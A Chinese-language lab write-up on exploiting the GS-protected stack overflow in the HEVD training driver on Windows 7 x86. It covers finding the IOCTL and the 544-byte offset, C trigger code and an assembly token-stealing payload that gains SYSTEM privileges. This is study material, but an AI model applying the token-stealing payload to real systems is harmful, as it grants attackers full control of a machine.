漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]

作者:selph
前言
窺探Ring0漏洞世界:緩沖區(qū)溢出之突破GS保護(hù)
實(shí)驗(yàn)環(huán)境:
?虛擬機(jī):Windows 7 x86
?物理機(jī):Windows 10 x64
?軟件:IDA,Windbg,VS2022
漏洞分析
本次實(shí)驗(yàn)內(nèi)容是BufferOverflowStackGS(環(huán)境提供的棧溢出一共有兩個(gè),一個(gè)是普通的,一個(gè)是GS保護(hù)的)
首先用IDA打開HEVD.sys,搜索BufferOverflowStack,可以看到兩個(gè)函數(shù):BufferOverflowGSStackIoctlHandler和TriggerBufferOverflowStackGS,跟上一篇一樣,前者是分發(fā)程序,后者是漏洞程序
從IDA的F5里可以看出,這是一個(gè)經(jīng)典的棧溢出漏洞:使用用戶輸入的長度進(jìn)行memcpy調(diào)用,和上一例完全一樣
int __stdcall TriggerBufferOverflowStackGS(void *UserBuffer, unsigned int Size)
{
unsigned __int8 KernelBuffer[512]; // [esp+14h] [ebp-21Ch] BYREF
?CPPEH_RECORD ms_exc; // [esp+218h] [ebp-18h]
?memset(KernelBuffer, 0, sizeof(KernelBuffer));
?ms_exc.registration.TryLevel = 0;
?ProbeForRead(UserBuffer, 0x200u, 1u);
??_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
?_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%zX\n", Size);
?_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
?_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%zX\n", 0x200u);
?_DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack (GS)\n");
?memcpy(KernelBuffer, UserBuffer, Size);
??return 0;
}
交叉引用查看調(diào)用處:依然跟上次一樣
int __stdcall BufferOverflowStackGSIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
int v2; // ecx
?_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx
??v2 = -1073741823;
?Parameters = IrpSp->Parameters.CreatePipe.Parameters;
??if ( Parameters )
???return TriggerBufferOverflowStackGS(Parameters, IrpSp->Parameters.Create.Options);
??return v2;
}
接著往上走,找到控制碼,這里調(diào)用處前面的標(biāo)號(hào)是$LN6

查看前面的跳轉(zhuǎn)表:

可以看到,這里是按順序排的,這里eax只要等于1即可跳轉(zhuǎn)過來
根據(jù)上例可知,eax=0,需要的輸入是0x00222003,查看eax是怎么來的:

是通過這個(gè)索引獲取的,所以這里eax得是比上次多4,所以這次使用的控制碼是:0x222007
漏洞利用
突破GS拿到程序控制權(quán)
GS保護(hù)機(jī)制簡介:開啟了GS保護(hù),會(huì)在函數(shù)開始的時(shí)候用ebp對(duì)隨機(jī)值進(jìn)行異或,然后保存,在函數(shù)結(jié)束的時(shí)候進(jìn)行檢查,再次異或查看隨機(jī)值是否與之前一致,如果一致則通過GS檢查,不一致則進(jìn)入另外的程序流程
常規(guī)的繞過GS保護(hù)的方式就有利用虛函數(shù)或者SEH進(jìn)行突破,無論是這兩個(gè)的哪一種,都可以在GS檢查之前把程序給劫持走
所以對(duì)于突破GS保護(hù),只需要通過生成隨機(jī)序列,然后看程序會(huì)跳轉(zhuǎn)到隨機(jī)序列的哪里,就可以判斷在哪里可以劫持程序執(zhí)行流程了
使用kali的pattern_create.rb進(jìn)行生成:
┌──(selph?kali)-[~/桌面]
└─$ ./pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9AV0AV1AV2AV3AV4AV5AV6AV7AV8AV9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
構(gòu)建測(cè)試程序:
#include
#include
char *shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9AV0AV1AV2AV3AV4AV5AV6AV7AV8AV9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
int shellcodeLength = strlen(shellcode);
int main()
{
HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
????if (hDevice == INVALID_HANDLE_VALUE) {
???????printf("[ERROR]Open Device Error\r\n");
???????system("pause");
???????exit(1);
????}
????else {
???????printf("[INFO]Device Handle: 0x%X\n", hDevice);
????}
????ULONG WriteRet = 0;
???DeviceIoControl(hDevice, 0x222007, (LPVOID)shellcode, shellcodeLength, NULL, 0, &WriteRet, NULL);
???return 0;
}
很快,就看到程序報(bào)錯(cuò)了,查看寄存器:
Access violation - code c0000005 (!!! second chance !!!)
73413173 ??????
kd> r
eax=00000000 ebx=8842c548 ecx=e017583e edx=00000000 esi=83f15087 edi=8842c4d8
eip=73413173 esp=9745bae0 ebp=41307341 iopl=0?????????nv up ei ng nz ac pe nc
cs=0008?ss=0010??ds=0023??es=0023?fs=0030??gs=0000?????????????efl=00010296
73413173 ??????????????????
eip指向了73413173這個(gè)值,通過pattern_offset.rb進(jìn)行判斷該值的位置:
┌──(selph?kali)-[~/桌面]
└─$ ./pattern_offset.rb -q 73413173 -l 1000
[*] Exact match at offset 544
偏移在544的位置,修改測(cè)試代碼再次嘗試:
#include
#include
int main()
{
ULONG UserBufferSize = 544+4;
???HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
????if (hDevice == INVALID_HANDLE_VALUE) {
???????printf("[ERROR]Open Device Error\r\n");
???????system("pause");
???????exit(1);
????}
????else {
???????printf("[INFO]Device Handle: 0x%X\n", hDevice);
????}
???PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
????if (!UserBuffer) {
????????printf("[ERROR]Allocate ERROR");
???????system("pause");
???????exit(1);
????}
????else {
???????printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);
???????printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
????}
???RtlFillMemory(UserBuffer, UserBufferSize, 0x41);
????PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize)-sizeof(ULONG));
??*(PULONG)MemoryAddress = (ULONG)0x66666666;
????ULONG WriteRet = 0;
???DeviceIoControl(hDevice, 0x222007, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
???HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
???UserBuffer = NULL;
???return 0;
}
拋出異常:
Access violation - code c0000005 (!!! second chance !!!)
66666666 ??????
kd> r
eax=00000000 ebx=865bd1c8 ecx=bf76b3e0 edx=00000000 esi=83eff087 edi=865bd158
eip=66666666 esp=ae790ae0 ebp=41414141 iopl=0?????????nv up ei ng nz ac pe nc
cs=0008?ss=0010??ds=0023??es=0023?fs=0030??gs=0000?????????????efl=00010296
66666666 ???????????????????
成功找到溢出控制點(diǎn),接下來構(gòu)造shellcode進(jìn)行跳轉(zhuǎn)即可
構(gòu)造shellcode
這次繼續(xù)分析上次shellcode最后結(jié)尾的返回是怎么回事,還是用上次的那個(gè)shellcode,在前面加一個(gè)0xcc來下斷:
示例shellcode:
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET?0x124?// nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET????0x050?// nt!_KTHREAD.ApcState.Process
#define PID_OFFSET?????????0x0B4?// nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET???????0x0B8?// nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET???????0x0F8?// nt!_EPROCESS.Token
#define SYSTEM_PID?????????0x004?// SYSTEM Process PID
VOID TokenStealingPayloadWin7() {
????// Importance of Kernel Recovery
????__asm {
???????__emit 0cch
???????pushad
????;獲取當(dāng)前進(jìn)程EPROCESS
???????xor eax, eax
???????mov eax, fs: [eax + KTHREAD_OFFSET]
???????mov eax, [eax + EPROCESS_OFFSET]
???????mov ecx, eax
????;搜索system進(jìn)程EPROCESS
???????mov edx, SYSTEM_PID
???????SearchSystemPID:
???????mov eax, [eax + FLINK_OFFSET]
???????sub eax, FLINK_OFFSET
???????cmp[eax + PID_OFFSET], edx
???????jne SearchSystemPID
????;token竊取
???????mov edx, [eax + TOKEN_OFFSET]
???????mov[ecx + TOKEN_OFFSET], edx
????;環(huán)境還原+返回
???????popad
???????xor eax, eax
???????add esp, 12
???????pop ebp
???????ret 8
????}
}
這里功能執(zhí)行部分沒啥問題,也不會(huì)對(duì)棧進(jìn)行操作產(chǎn)生影響,內(nèi)核里執(zhí)行shellcode執(zhí)行完一定要能正常返回回去,現(xiàn)在運(yùn)行到斷點(diǎn)查看調(diào)用堆棧信息:
kd> k
# ChildEBP RetAddr?
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 92031ae0 928f70ea?????0x1f1043
01 92031afc 83e83593?????HEVD!IrpDeviceIoCtlHandler+0x86
02 92031b14 8407799f?????nt!IofCallDriver+0x63
03 92031b34 8407ab71?????nt!IopSynchronousServiceTail+0x1f8
04 92031bd0 840c13f4?????nt!IopXxxControlFile+0x6aa
05 92031c04 83e8a1ea?????nt!NtDeviceIoControlFile+0x2a
可以看到,當(dāng)前執(zhí)行到shellcode里,上一層返回是HEVD!IrpDeviceIoCtlHandler+0x86,因?yàn)槲覀儧]有使用1000字節(jié)的那個(gè)shellcode而是重新構(gòu)建了剛好大小的shellcode進(jìn)行覆蓋,所以這里不會(huì)影響到后面的調(diào)用棧信息,所以這里我們只需要返回到上一層就行
返回到上一層需要恢復(fù)棧成為剛剛從函數(shù)里返回的樣子,正常情況下函數(shù)返回到這里進(jìn)行的操作:
PAGE:004452C8?loc_4452C8:?????????????????????????????; CODE XREF: BufferOverflowStackGSIoctlHandler(x,x)+13↑j
PAGE:004452C8 8B C1?????????????????????????mov?????eax, ecx
PAGE:004452CA 5D????????????????????????????pop?????ebp
PAGE:004452CB C2 08 00??????????????????????retn????8
eax里保存一個(gè)返回值,彈出原本的ebp,retn 8
也就是說,這里返回之前的esp里本應(yīng)該裝有原來的ebp才行,所以需要對(duì)esp進(jìn)行修復(fù),把ebp入棧保存的操作是在函數(shù)開始的時(shí)候做的,查看棧信息:
kd> dds esp
92031ad48855a4d0
92031ad8?83f11087 nt!DbgPrintEx
92031adc?8855a540
92031ae0?92031afc
92031ae4?928f70ea HEVD!IrpDeviceIoCtlHandler+0x86 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 283]
92031ae8?8855a4d0
92031aec?8855a540
92031af0?86671350
call指令的作用是入棧返回地址+跳轉(zhuǎn)到函數(shù)內(nèi),所以這里在進(jìn)入函數(shù)之前esp = 92031ae4,然后進(jìn)行的操作:
PAGE:004452AA 55?push????ebp
PAGE:004452AB 8B EC?????????????????????????mov?????ebp, esp
第一件事就是push ebp,所以這里92031ae0地址保存的就是ebp,這里只需要把esp的為止恢復(fù)到該位置即可
所以要做的操作就是:add esp, 0xc
獲取System權(quán)限
提權(quán)后執(zhí)行的操作:
system("pause");
???system("cmd.exe");
截圖演示:

參考資料
?[1]?hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com)?https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
?[2]?探究security_cookie在程序中的作用?-?我可是會(huì)飛的啊?(kn0sky.com)?https://www.kn0sky.com/?p=66
?[3]?滲透之——使用Metasploit實(shí)現(xiàn)對(duì)緩沖區(qū)棧的溢出攻擊_冰?河的博客-CSDN博客?https://blog.csdn.net/l1028386804/article/details/86494568
?[4]?HEVD Stack Overflow GS (klue.github.io)?https://klue.github.io/blog/2017/09/hevd_stack_gs/?msclkid=9bb65ef4cf4a11ec8dd20f19f6cc758c